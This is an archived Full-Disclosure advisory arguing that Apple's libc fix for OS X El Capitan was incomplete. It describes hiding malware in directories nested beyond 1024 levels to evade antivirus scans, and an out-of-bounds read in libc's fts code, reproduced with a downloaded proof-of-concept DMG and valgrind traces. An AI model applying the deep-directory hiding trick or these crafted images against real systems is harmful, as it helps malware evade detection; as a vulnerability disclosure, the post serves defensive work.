lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Fri, 26 Aug 2016 13:31:43 +0200
From: "[CXSEC]" <submit@...ec.org>
To: fulldisclosure@...lists.org
Subject: [FD] Apple libc incomplete fix of Security Update for OS X El
	Capitan 10.11.2

--------------------------------------------------------------------------------
Apple libc incomplete fix of Security Update for OS X El Capitan 10.11.2
Credit: Maksymilian Arciemowicz from CXSECURITY.COM
URL: https://cxsecurity.com/issue/WLB-2016080232
--------------------------------------------------------------------------------

Apple tried to fix security issue in file system (FTS) libc implementation
but doesn't patch it completely. Let's back to the security advisory

https://support.apple.com/en-us/HT205637
----------------------------------------
libc
Available for: OS X El Capitan v10.11 and v10.11.1
Impact: Processing a maliciously crafted package may lead to arbitrary code
execution
Description: Multiple buffer overflows existed in the C standard library.
These issues were addressed through improved bounds checking.
CVE-ID
CVE-2015-7038
CVE-2015-7039 : Maksymilian Arciemowicz (CXSECURITY.COM)
----------------------------------------

it's only one part of reported weaknesses what should be fix by Apple. They
fixed multiple buffer overflow but not all out of memory read. Improper
security implementation of file system may lead to a few kinds of attacks



--------------------------------------------------------------------------------
1. AV Tools and file system deep directory
The first weakness what Apple should repair is ability of hiding malicious
code in external/internal media drive or DMG package. Many AV tools will
skip files located in directory deeper then 1024 levels, so it could be
used to hide malware by attacker during classic AV scanning. I contacted
with one of vendors and they indicate Apple as responsible for repair this
bug. To show this issue in practice, you can compare the two DMG files. One
is with content of exploits from metasploit in directory located in 1024
level of directory tree

DMG mounted and threats detected by AVG, ESET, Norton AV during folder
scanning mode
https://cxsecurity.com/exploits/mac10116expl/10116metaExploits.dmg

The same content but in deep file hierarchy 1024 directories. Classic
directory scanning by AV tool couldn't detect the threats.
https://cxsecurity.com/exploits/mac10116expl/10116hideContents.dmg



--------------------------------------------------------------------------------
2. Out of memory reading in libc
The next issue recognised in the latest MacOSX is out-of-bounds read. Apple
tried fix all buffer overflows but it looks like that's not all. In Apple
code there is still a few weak points of memory management. For example
'ls' and 'find' command and Apple's libc. To easier explain this weakness
(CWE-125) let's use this special crafted DMG with deep file system.

$ wget https://cxsecurity.com/exploits/mac10116expl/10116outofread.dmg
...
$ hdiutil attach 10116outofread.dmg
...
$ valgrind ls -laR /Volumes/PoC1_CXSECURITY >>/dev/null
...
==5687== Invalid read of size 1
==5687==    at 0x1000116BF: strlen (in
/usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==5687==    by 0x100323A4B: __vfprintf (in
/usr/lib/system/libsystem_c.dylib)
==5687==    by 0x10034C6C0: __v2printf (in
/usr/lib/system/libsystem_c.dylib)
==5687==    by 0x100322381: vfprintf_l (in
/usr/lib/system/libsystem_c.dylib)
==5687==    by 0x10032021B: printf (in /usr/lib/system/libsystem_c.dylib)
==5687==    by 0x100001C4E: ??? (in /bin/ls)
==5687==    by 0x100001A6F: ??? (in /bin/ls)
==5687==    by 0x1002825AC: start (in /usr/lib/system/libdyld.dylib)
==5687==    by 0x2: ???
==5687==    by 0x104809B02: ???
==5687==    by 0x104809B05: ???
==5687==    by 0x104809B0A: ???
==5687==  Address 0x100b977f0 is 0 bytes inside a block of size 1,537 free'd
==5687==    at 0x100010920: realloc (in
/usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==5687==    by 0x1002E1B06: fts_build (in /usr/lib/system/libsystem_c.dylib)
==5687==    by 0x1002E2106: fts_children$INODE64 (in
/usr/lib/system/libsystem_c.dylib)
==5687==    by 0x100001CB0: ??? (in /bin/ls)
==5687==    by 0x100001A6F: ??? (in /bin/ls)
==5687==    by 0x1002825AC: start (in /usr/lib/system/libdyld.dylib)
==5687==    by 0x2: ???
==5687==    by 0x104809B02: ???
==5687==    by 0x104809B05: ???
==5687==    by 0x104809B0A: ???
==5687==  Block was alloc'd at
==5687==    at 0x100010920: realloc (in
/usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==5687==    by 0x1002E1B06: fts_build (in /usr/lib/system/libsystem_c.dylib)
==5687==    by 0x1002E2106: fts_children$INODE64 (in
/usr/lib/system/libsystem_c.dylib)
==5687==    by 0x100001CB0: ??? (in /bin/ls)
==5687==    by 0x100001A6F: ??? (in /bin/ls)
==5687==    by 0x1002825AC: start (in /usr/lib/system/libdyld.dylib)
==5687==    by 0x2: ???
==5687==    by 0x104809B02: ???
==5687==    by 0x104809B05: ???
==5687==    by 0x104809B0A: ???
==5687==
...
==5687== Invalid read of size 1
==5687==    at 0x1000126C1: _platform_memmove$VARIANT$Ivybridge (in
/usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==5687==    by 0x10031BEFC: __sfvwrite (in
/usr/lib/system/libsystem_c.dylib)
==5687==    by 0x100326652: __vfprintf (in
/usr/lib/system/libsystem_c.dylib)
==5687==    by 0x10034C6C0: __v2printf (in
/usr/lib/system/libsystem_c.dylib)
==5687==    by 0x100322381: vfprintf_l (in
/usr/lib/system/libsystem_c.dylib)
==5687==    by 0x10032021B: printf (in /usr/lib/system/libsystem_c.dylib)
==5687==    by 0x100001C4E: ??? (in /bin/ls)
==5687==    by 0x100001A6F: ??? (in /bin/ls)
==5687==    by 0x1002825AC: start (in /usr/lib/system/libdyld.dylib)
==5687==    by 0x2: ???


--------------------------------------------------------------------------------
References:
https://cxsecurity.com/issue/WLB-2015120089
https://cxsecurity.com/exploits/mac10116expl/10116metaExploits.dmg
https://cxsecurity.com/exploits/mac10116expl/10116hideContents.dmg
https://cxsecurity.com/exploits/mac10116expl/10116outofread.dmg
https://support.apple.com/en-us/HT205637
https://support.apple.com/en-us/HT205635
https://support.apple.com/en-us/HT205641
https://support.apple.com/en-us/HT205640
https://cxsecurity.com/issue/WLB-2015100149
https://cxsecurity.com/
https://cert.cx/

--------------------------------------------------------------------------------
Best Regards,
Maksymilian Arciemowicz ( https://cert.cx/ )
https://cxsecurity.com - Independent Information

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ